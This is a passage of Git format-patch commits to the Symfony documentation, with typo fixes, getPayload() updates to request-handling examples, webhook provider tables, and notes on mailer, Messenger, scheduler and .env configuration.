-Here, all "real" URLs are handled by the ``main`` firewall (no ``pattern`` key means
+Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). 
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
@@ -593,11 +593,11 @@ you'll see that you're visiting a page behind the firewall in the toolbar:
 Visiting a URL under a firewall doesn't necessarily require you to be authenticated
 (e.g. the login form has to be accessible or some parts of your application
 are public). On the other hand, all pages that you want to be *aware* of a logged in
-user have to be under the same firewall. So if you want to display a "You are logged in
-as ..." message on every page, they all have to be included in the same firewall.
+user have to be under the same firewall. So if you want to display a *"You are logged in
+as ..."* message on every page, they all have to be included in the same firewall.
 
-The same firewall can have many modes of authentication,
-in other words, it enables many ways to ask the question "Who are you?".
+The same firewall can have many modes of authentication. In other words, it
+enables many ways to ask the question *"Who are you?"*.
 
 You'll learn how to restrict access to URLs, controllers or
 anything else within your firewall in the :ref:`access control

From 617249b4c4d67f62e8133bc9b007e390f673b017 Mon Sep 17 00:00:00 2001
From: Stefan Doorn <stefan@efectos.nl>
Date: Mon, 22 Jan 2024 11:02:12 +0100
Subject: [PATCH 4370/5766] [Messenger] Clarify
 UnrecoverableMessageHandlingException message going to failure transport

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 0f1c00baae4..43a7f256343 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1044,6 +1044,12 @@ and should not be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\UnrecoverableMessageHandlingException`,
 the message will not be retried.
 
+.. note::
+
+    Messages that will not be retried, will still show up in the configured failure transport.
+    If you want to avoid that, consider handling the error yourself and let the handler
+    successfully end.
+
 Forcing Retrying
 ~~~~~~~~~~~~~~~~
 

From 00e9b45fa6cd8f09e82a29a9ef9c780eecd2b9ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Jan 2024 18:01:40 +0100
Subject: [PATCH 4371/5766] [HttpFoundation] replace $request->request by
 getPayload()

---
 controller.rst                       | 2 +-
 create_framework/http_foundation.rst | 2 +-
 form/direct_submit.rst               | 6 +++---
 form/without_class.rst               | 2 +-
 html_sanitizer.rst                   | 2 +-
 introduction/http_fundamentals.rst   | 2 +-
 security/csrf.rst                    | 2 +-
 security/custom_authenticator.rst    | 6 +++---
 security/login_link.rst              | 4 ++--
 9 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/controller.rst b/controller.rst
index af0df5c1a8c..5e4d97864ac 100644
--- a/controller.rst
+++ b/controller.rst
@@ -625,7 +625,7 @@ the ``Request`` class::
 
         // retrieves GET and POST variables respectively
         $request->query->get('page');
-        $request->request->get('page');
+        $request->getPayload()->get('page');
 
         // retrieves SERVER variables
         $request->server->get('HTTP_HOST');
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 53c86ebb8b9..66bc1b51d0d 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -178,7 +178,7 @@ fingertips thanks to a nice and simple API::
 
     // retrieves GET and POST variables respectively
     $request->query->get('foo');
-    $request->request->get('bar', 'default value if bar does not exist');
+    $request->getPayload()->get('bar', 'default value if bar does not exist');
 
     // retrieves SERVER variables
     $request->server->get('HTTP_HOST');
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 5931b47b98f..7b98134af18 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -17,7 +17,7 @@ control over when exactly your form is submitted and what data is passed to it::
         $form = $this->createForm(TaskType::class, $task);
 
         if ($request->isMethod('POST')) {
-            $form->submit($request->request->all($form->getName()));
+            $form->submit($request->getPayload()->get($form->getName()));
 
             if ($form->isSubmitted() && $form->isValid()) {
                 // perform some action...
@@ -41,7 +41,7 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
         if ($request->isMethod('POST')) {
             // '$json' represents payload data sent by React/Angular/Vue
             // the merge of parameters is needed to submit all form fields
-            $form->submit(array_merge($json, $request->request->all()));
+            $form->submit(array_merge($json, $request->getPayload()->all()));
 
             // ...
         }
@@ -73,4 +73,4 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
     manually so that they are validated::
 
         // 'email' and 'username' are added manually to force their validation
-        $form->submit(array_merge(['email' => null, 'username' => null], $request->request->all()), false);
+        $form->submit(array_merge(['email' => null, 'username' => null], $request->getPayload()->all()), false);
diff --git a/form/without_class.rst b/form/without_class.rst
index b2ebdcc5482..589f8a4739e 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -59,7 +59,7 @@ an array.
     You can also access POST values (in this case "name") directly through
     the request object, like so::
 
-        $request->request->get('name');
+        $request->getPayload()->get('name');
 
     Be advised, however, that in most cases using the ``getData()`` method is
     a better choice, since it returns the data (usually an object) after
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 1f451bfb867..d5b28b0afb8 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -56,7 +56,7 @@ automatically when type-hinting for
         {
             public function createAction(HtmlSanitizerInterface $htmlSanitizer, Request $request): Response
             {
-                $unsafeContents = $request->request->get('post_contents');
+                $unsafeContents = $request->getPayload()->get('post_contents');
 
                 $safeContents = $htmlSanitizer->sanitize($unsafeContents);
                 // ... proceed using the safe HTML
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index fceb6a4a13d..d9f308433d0 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -216,7 +216,7 @@ have all the request information at your fingertips::
 
     // retrieves $_GET and $_POST variables respectively
     $request->query->get('id');
-    $request->request->get('category', 'default category');
+    $request->getPayload()->get('category', 'default category');
 
     // retrieves $_SERVER variables
     $request->server->get('HTTP_HOST');
diff --git a/security/csrf.rst b/security/csrf.rst
index be7bb909f61..87a1b972998 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -156,7 +156,7 @@ method to check its validity::
 
     public function delete(Request $request): Response
     {
-        $submittedToken = $request->request->get('token');
+        $submittedToken = $request->getPayload()->get('token');
 
         // 'delete-item' is the same value used in the template to generate the token
         if ($this->isCsrfTokenValid('delete-item', $submittedToken)) {
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 1a744dc1198..934bc692cf3 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -339,9 +339,9 @@ would initialize the passport like this::
     {
         public function authenticate(Request $request): Passport
         {
-            $password = $request->request->get('password');
-            $username = $request->request->get('username');
-            $csrfToken = $request->request->get('csrf_token');
+            $password = $request->getPayload()->get('password');
+            $username = $request->getPayload()->get('username');
+            $csrfToken = $request->getPayload()->get('csrf_token');
 
             // ... validate no parameter is empty
 
diff --git a/security/login_link.rst b/security/login_link.rst
index 9d4864c3b1d..160327cabbc 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -159,7 +159,7 @@ this interface::
             // check if form is submitted
             if ($request->isMethod('POST')) {
                 // load the user in some way (e.g. using the form input)
-                $email = $request->request->get('email');
+                $email = $request->getPayload()->get('email');
                 $user = $userRepository->findOneBy(['email' => $email]);
 
                 // create a login link for $user this returns an instance
@@ -228,7 +228,7 @@ number::
         public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request): Response
         {
             if ($request->isMethod('POST')) {
-                $email = $request->request->get('email');
+                $email = $request->getPayload()->get('email');
                 $user = $userRepository->findOneBy(['email' => $email]);
 
                 $loginLinkDetails = $loginLinkHandler->createLoginLink($user);

From dbbfece0babfc76f3e0303b77af72805bf7bb0a2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Jan 2024 09:10:35 +0100
Subject: [PATCH 4372/5766] remove trailing whitespace

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 0a7616d242f..b1a7b852c5c 100644
--- a/security.rst
+++ b/security.rst
@@ -577,7 +577,7 @@ Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
 Here, all real URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). 
+it matches *all* URLs).
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like

From a2419bf22ded7fda905343c9b7a506a371da7653 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Jan 2024 09:18:44 +0100
Subject: [PATCH 4373/5766] fix references

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 697e22d7eae..6fa0f9fc7f2 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -435,7 +435,7 @@ be used. Also, by default, the ``__invoke`` method of your service will be calle
 but, it's also possible to specify the method to call via the ``method``option
 and you can define arguments via ``arguments``option if necessary.
 
-.. scheduler-attributes-cron-task::
+.. _scheduler-attributes-cron-task::
 
 ``AsCronTask`` Example
 ......................
@@ -472,7 +472,7 @@ The attribute takes more parameters to customize the trigger::
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
     was introduced in Symfony 6.4.
 
-.. scheduler-attributes-periodic-task::
+.. _scheduler-attributes-periodic-task::
 
 ``AsPeriodicTask`` Example
 ..........................

From 9dae8ae28251ed1c6ac7fa2cc1367365f7472a45 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Jan 2024 09:29:03 +0100
Subject: [PATCH 4374/5766] fix references (really)

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6fa0f9fc7f2..d658a7ee4f6 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -435,7 +435,7 @@ be used. Also, by default, the ``__invoke`` method of your service will be calle
 but, it's also possible to specify the method to call via the ``method``option
 and you can define arguments via ``arguments``option if necessary.
 
-.. _scheduler-attributes-cron-task::
+.. _scheduler-attributes-cron-task:
 
 ``AsCronTask`` Example
 ......................
@@ -472,7 +472,7 @@ The attribute takes more parameters to customize the trigger::
     The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask` attribute
     was introduced in Symfony 6.4.
 
-.. _scheduler-attributes-periodic-task::
+.. _scheduler-attributes-periodic-task:
 
 ``AsPeriodicTask`` Example
 ..........................

From f7a08ca7c56480666f08e74b1204bd8d4c7a3421 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Jan 2024 09:08:43 +0100
Subject: [PATCH 4375/5766] fix enum name

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 518c348ab75..3caec730d5d 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -746,7 +746,7 @@ Symfony provides the following env var processors:
     This processor takes the fully qualified name of the ``\BackedEnum`` as an argument::
 
         // App\Enum\Suit.php
-        enum Environment: string
+        enum Suit: string
         {
             case Clubs = 'clubs';
             case Spades = 'spades';

From 4a3083fac40c77bdeb350b7d394f54dd92bcec4f Mon Sep 17 00:00:00 2001
From: Brendan <38113103+BrendanEthika@users.noreply.github.com>
Date: Wed, 24 Jan 2024 12:49:26 -0800
Subject: [PATCH 4376/5766] Update scheduler.rst

---
 scheduler.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index d658a7ee4f6..557e4fc68cb 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -824,10 +824,13 @@ recurring messages. You can narrow down the list to a specific schedule:
        -------------------- -------------------------- ---------------------
 
     # you can also specify a date to use for the next run date:
-    $ php bin/console --date=2025-10-18
+    $ php bin/console debug:scheduler --date=2025-10-18
+
+    # you can also specify a date to use for the next run date for a schedule:
+    $ php bin/console debug:scheduler name_of_schedule --date=2025-10-18
 
     # use the --all option to also display the terminated recurring messages
-    $ php bin/console --all
+    $ php bin/console debug:scheduler --all
 
 Efficient management with Symfony Scheduler
 -------------------------------------------

From cc056d2d24bc4454acd0c806f3863b5a58c4b8e7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 24 Jan 2024 22:39:30 +0100
Subject: [PATCH 4377/5766] -

---
 webhook.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index f8d46ca8d41..a621587084c 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -24,12 +24,19 @@ receive webhook calls from this provider.
 
 Currently, the following third-party mailer providers support webhooks:
 
-=============== ==========================================
-Mailer service  Parser service name
-=============== ==========================================
-Mailgun         ``mailer.webhook.request_parser.mailgun``
-Postmark        ``mailer.webhook.request_parser.postmark``
-=============== ==========================================
+============== ==========================================
+Mailer Service Parser service name
+============== ==========================================
+Brevo          ``mailer.webhook.request_parser.brevo``
+Mailgun        ``mailer.webhook.request_parser.mailgun``
+Mailjet        ``mailer.webhook.request_parser.mailjet``
+Postmark       ``mailer.webhook.request_parser.postmark``
+Sendgrid       ``mailer.webhook.request_parser.sendgrid``
+============== ==========================================
+
+.. versionadded:: 6.4
+
+    The support for Brevo, Mailjet and Sendgrid was introduced in Symfony 6.4.
 
 .. note::
 

From 56b46c7cdc2b8b1865ee65e27dacae36690a303f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 24 Jan 2024 22:40:33 +0100
Subject: [PATCH 4378/5766] -

---
 webhook.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/webhook.rst b/webhook.rst
index 29d2eea0849..0b8d2514a26 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -27,6 +27,7 @@ Brevo          ``mailer.webhook.request_parser.brevo``
 Mailgun        ``mailer.webhook.request_parser.mailgun``
 Mailjet        ``mailer.webhook.request_parser.mailjet``
 Postmark       ``mailer.webhook.request_parser.postmark``
+Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 ============== ==========================================
 
@@ -34,6 +35,10 @@ Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 
     The support for Brevo, Mailjet and Sendgrid was introduced in Symfony 6.4.
 
+.. versionadded:: 7.1
+
+    The support for Resend was introduced in Symfony 7.1.
+
 .. note::
 
     Install the third-party mailer provider you want to use as described in the

From ca3da8b3763f01954e4ad6ecaba02aac285f602c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 24 Jan 2024 22:40:44 +0100
Subject: [PATCH 4379/5766] -

---
 webhook.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index 29d2eea0849..37422b75542 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -30,10 +30,6 @@ Postmark       ``mailer.webhook.request_parser.postmark``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 ============== ==========================================
 
-.. versionadded:: 6.4
-
-    The support for Brevo, Mailjet and Sendgrid was introduced in Symfony 6.4.
-
 .. note::
 
     Install the third-party mailer provider you want to use as described in the

From cb44ce90a1378449b06e4f3287ed61f1b643a8ad Mon Sep 17 00:00:00 2001
From: Kai Dederichs <k.dederichs@spicymedia.io>
Date: Wed, 24 Jan 2024 23:24:45 +0100
Subject: [PATCH 4380/5766] Add warning about custom SES headers

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index b845a8ee8f5..b8f7bbec457 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -198,6 +198,11 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
 
         The ``ping_threshold`` option for ``ses-smtp`` was introduced in Symfony 5.4.
 
+.. caution::
+
+    If you need to send custom headers to receive them later via webhook using the `Amazon SES` transport
+    be sure to use the ``ses+https`` provider since custom headers are not transmited otherwise. 
+
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an

From a08515af1693e7fab9a4c808b1c85878caee8934 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Jan 2024 11:06:27 +0100
Subject: [PATCH 4381/5766] Minor tweaks

---
 mailer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0293a1ce09c..379e2a71694 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -171,7 +171,7 @@ This table shows the full list of available DSN formats for each third
 party provider:
 
 ===================== ======================================================== =============================================== ============================================
-Provider              SMTP                                                     HTTP                                        API
+Provider              SMTP                                                     HTTP                                            API
 ===================== ======================================================== =============================================== ============================================
 `Amazon SES`_         ``ses+smtp://USERNAME:PASSWORD@default``                 ``ses+https://ACCESS_KEY:SECRET_KEY@default``   ``ses+api://ACCESS_KEY:SECRET_KEY@default``
 `Google Gmail`_       ``gmail+smtp://USERNAME:APP-PASSWORD@default``           n/a                                             n/a
@@ -203,8 +203,9 @@ Provider              SMTP                                                     H
 
 .. caution::
 
-    If you need to send custom headers to receive them later via webhook using the `Amazon SES` transport
-    be sure to use the ``ses+https`` provider since custom headers are not transmited otherwise. 
+    If you send custom headers when using the `Amazon SES`_ transport (to receive
+    them later via a webhook), make sure to use the ``ses+https`` provider because
+    it's the only one that supports them.
 
 .. note::
 

From 4e4f75efb61ac0c090a30d372e883f75be98fa17 Mon Sep 17 00:00:00 2001
From: chris <chris@sky-scripts.de>
Date: Thu, 25 Jan 2024 15:15:56 +0100
Subject: [PATCH 4382/5766] Update symfony_server.rst

With this change the configuration is not displayed in 2 lines.

I just copied the second line '127.0.0.1:7080/proxy.pac' into my config. And of couse proxy was not working.

Maybe this change help others to not waste time and copy the wrong config.
---
 setup/symfony_server.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 5aa13399c71..c6b817ebdb5 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -205,6 +205,7 @@ If this is the first time you run the proxy, you must configure it as follows:
    * `Proxy settings in Ubuntu`_.
 
 #. Set the following URL as the value of the **Automatic Proxy Configuration**:
+
    ``http://127.0.0.1:7080/proxy.pac``
 
 Now run this command to start the proxy:

From 61b318f65d30b47883d28934f9236d3a11ee17ca Mon Sep 17 00:00:00 2001
From: Stephan Dee <105394393+lkolndeep@users.noreply.github.com>
Date: Thu, 25 Jan 2024 16:49:32 +0100
Subject: [PATCH 4383/5766] Update service_container.rst

Correction of a typo.
---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 76381cf41fb..6a3b606be22 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -948,7 +948,7 @@ you don't need to do *anything*: the service will be automatically loaded. Then,
 implements ``Twig\Extension\ExtensionInterface``. And thanks to ``autowire``, you can even add
 constructor arguments without any configuration.
 
-Autconfiguration also works with attributes. Some attributes like
+Autoconfiguration also works with attributes. Some attributes like
 :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`,
 :class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener` and
 :class:`Symfony\\Component\\Console\\Attribute\\AsCommand` are registered

From e06251ba31d29fd1be7ca235d3836bc35669261c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Jan 2024 18:03:11 +0100
Subject: [PATCH 4384/5766] [AssetMapper] Mention
 PublicAssetsFilesystemInterface

---
 frontend/asset_mapper.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 803d7dbace6..6ce899d9767 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -93,6 +93,13 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
+.. tip::
+
+    If you need to copy the compiled assets to a different location (e.g. upload
+    them to S3), create a service that implements ``Symfony\Component\AssetMapper\Path\PublicAssetsFilesystemInterface``
+    and set its service id (or an alias) to ``asset_mapper.local_public_assets_filesystem``
+    (to replace the built-in service).
+
 Debugging: Seeing All Mapped Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 64b5716815bc9a4ae7e3fb8166456cbb8ed5801e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Jan 2024 11:34:55 +0100
Subject: [PATCH 4385/5766] [Upgrading] Recommend to delete cache when
 upgrading to a major version

---
 setup/upgrade_major.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 8c5b5cab8a3..9841a2496bd 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -182,6 +182,19 @@ Next, use Composer to download new versions of the libraries:
 
     $ composer update "symfony/*"
 
+A best practice after updating to a new major version is to clear the cache.
+Instead of running the ``cache:clear`` command (which won't work if the application
+is not bootable in the console after the upgrade) it's better to remove the entire
+cache directory contents:
+
+.. code-block:: terminal
+
+    # run this command on Linux and macOS
+    $ rm -rf var/cache/*
+
+    # run this command on Windows
+    C:\> rmdir /s /q var\cache\*
+
 .. include:: /setup/_update_dep_errors.rst.inc
 
 .. include:: /setup/_update_all_packages.rst.inc

From 3ee6a7fcb5baac802e7602678143ee2e7b42d563 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 3 Jan 2024 18:35:45 +0100
Subject: [PATCH 4386/5766] [DotEnv] Fix incorrect way to modify .env path

---
 configuration.rst | 41 ++++++++++++++++++++++++++++++++---------
 1 file changed, 32 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 078ec57b49f..24eebb1fa00 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -936,9 +936,38 @@ Storing Environment Variables In Other Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, the environment variables are stored in the ``.env`` file located
-at the root of your project. However, you can store them in other file by
-setting the ``SYMFONY_DOTENV_PATH`` environment variable to the absolute path of
-that custom file.
+at the root of your project. However, you can store them in other files in
+multiple ways.
+
+If you use the :doc:`Runtime component </components/runtime>`, the dotenv
+path is part of the options you can set in your ``composer.json`` file:
+
+.. code-block:: json
+
+      {
+          // ...
+          "extra": {
+              // ...
+              "runtime": {
+                  "dotenv_path": "my/custom/path/to/.env"
+              }
+          }
+      }
+
+You can also set the ``SYMFONY_DOTENV_PATH`` environment variable at system
+level (e.g. in your web server configuration or in your Dockerfile):
+
+.. code-block:: bash
+
+    # .env (or .env.local)
+    SYMFONY_DOTENV_PATH=my/custom/path/to/.env
+
+Finally, you can directly invoke the ``Dotenv`` class in your
+``bootstrap.php`` file or any other file of your application::
+
+    use Symfony\Component\Dotenv\Dotenv;
+
+    (new Dotenv())->bootEnv(dirname(__DIR__).'my/custom/path/to/.env');
 
 Symfony will then look for the environment variables in that file, but also in
 the local and environment-specific files (e.g. ``.*.local`` and
@@ -946,12 +975,6 @@ the local and environment-specific files (e.g. ``.*.local`` and
 :ref:`how to override environment variables <configuration-multiple-env-files>`
 to learn more about this.
 
-.. caution::
-
-    The ``SYMFONY_DOTENV_PATH`` environment variable must be defined at the
-    system level (e.g. in your web server configuration) and not in any default
-    or custom ``.env`` file.
-
 .. versionadded:: 7.1
 
     The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony 7.1.

From 3af1d260a819d77675d4628e0e4cccd338d72179 Mon Sep 17 00:00:00 2001
From: jordanjix <leroyjordan@me.com>
Date: Sat, 27 Jan 2024 09:16:20 +0100
Subject: [PATCH 4387/5766] Update doctrine.rst

Replace fetchAll() by fetchAllAssociative() method.
---
 reference/configuration/doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index c49122575a0..ad6d89195cd 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -158,7 +158,7 @@ you can access it using the ``getConnection()`` method and the name of the conne
         public function someMethod(ManagerRegistry $doctrine)
         {
             $connection = $doctrine->getConnection('customer');
-            $result = $connection->fetchAll('SELECT name FROM customer');
+            $result = $connection->fetchAllAssociative('SELECT name FROM customer');
 
             // ...
         }

From 4f89a00876332910631160547fc161291067b4e3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Jan 2024 17:24:33 +0100
Subject: [PATCH 4388/5766] [Frontend] Mention configureBabelPresetEnv()

---
 frontend/encore/babel.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index 95ba6086913..133559b1a0d 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -49,6 +49,23 @@ cache directory:
     # On Unix run this command. On Windows, clear this directory manually
     $ rm -rf node_modules/.cache/babel-loader/
 
+If you want to customize the ``preset-env`` configuration, use the ``configureBabelPresetEnv()``
+method to add any of the `@babel/preset-env configuration options`_:
+
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureBabelPresetEnv((config) => {
+            config.useBuiltIns = 'usage';
+            config.corejs = 3;
+        })
+    ;
+
 Creating a ``.babelrc`` File
 ----------------------------
 
@@ -63,3 +80,4 @@ As soon as a ``.babelrc`` file is present, it will take priority over the Babel
 configuration added by Encore.
 
 .. _`Babel`: https://babeljs.io/
+.. _`@babel/preset-env configuration options`: https://babeljs.io/docs/babel-preset-env

From 8564b92b022f2ce0e4b8282d4f0b7b1117e54bf7 Mon Sep 17 00:00:00 2001
From: Bartosz Tomczak <bosslog@gmail.com>
Date: Sat, 27 Jan 2024 14:34:27 +0100
Subject: [PATCH 4389/5766] [Messenger] Add caution message about messenger
 consume command and profiler

---
 console.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/console.rst b/console.rst
index ce8d86bef37..4ebca0fcc7e 100644
--- a/console.rst
+++ b/console.rst
@@ -641,6 +641,14 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
+.. caution::
+
+    If you use Messenger component and want to profile the ``messenger:consume``
+    command please be aware that it will only create the profile only when
+    running with the ``--no-reset`` option. Moreover, you should consider using
+    the ``--limit`` option to only process one or few messages and let the command
+    finish on it's own. This can make the Performance tab of the profile more readable.
+
 .. versionadded:: 6.4
 
     The ``--profile`` option was introduced in Symfony 6.4.

From eeaa281c16213a20002e29f1589cce3e2e11b4a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 29 Jan 2024 13:09:15 +0100
Subject: [PATCH 4390/5766] Minor reword

---
 console.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/console.rst b/console.rst
index 4ebca0fcc7e..867e345984c 100644
--- a/console.rst
+++ b/console.rst
@@ -643,11 +643,10 @@ profile is accessible through the web page of the profiler.
 
 .. caution::
 
-    If you use Messenger component and want to profile the ``messenger:consume``
-    command please be aware that it will only create the profile only when
-    running with the ``--no-reset`` option. Moreover, you should consider using
-    the ``--limit`` option to only process one or few messages and let the command
-    finish on it's own. This can make the Performance tab of the profile more readable.
+    When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>`
+    component, add the ``--no-reset`` option to the command or you won't get any
+    profile. Moreover, consider using the ``--limit`` option to only process a few
+    messages to make the profile more readable in the profiler.
 
 .. versionadded:: 6.4
 

From 4897c25304364c214b67dd5b629e83b8c098e372 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 30 Jan 2024 16:23:06 +0100
Subject: [PATCH 4391/5766] [AssetMapper] Adding `{% block importmap %}` in
 v6.4

Same as https://github.com/symfony/symfony-docs/pull/19466 but now on the right branch :-)
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 6ce899d9767..7e745f0cb8e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -48,7 +48,7 @@ It also *updated* the ``templates/base.html.twig`` file:
 .. code-block:: diff
 
     {% block javascripts %}
-    +    {{ importmap('app') }}
+    +    {% block importmap %}{{ importmap('app') }}{% endblock %}
     {% endblock %}
 
 If you're not using Flex, you'll need to create & update these files manually. See

From 48111fbaaf99fb2ebf91c59bb5a8132dfc451d4f Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Mon, 29 Jan 2024 09:37:08 -0500
Subject: [PATCH 4392/5766] minor tweaks to setup related to the symfony cli

---
 setup.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/setup.rst b/setup.rst
index 9b7620d4164..11a443f44e1 100644
--- a/setup.rst
+++ b/setup.rst
@@ -20,9 +20,11 @@ Before creating your first Symfony application you must:
 
 * `Install Composer`_, which is used to install PHP packages.
 
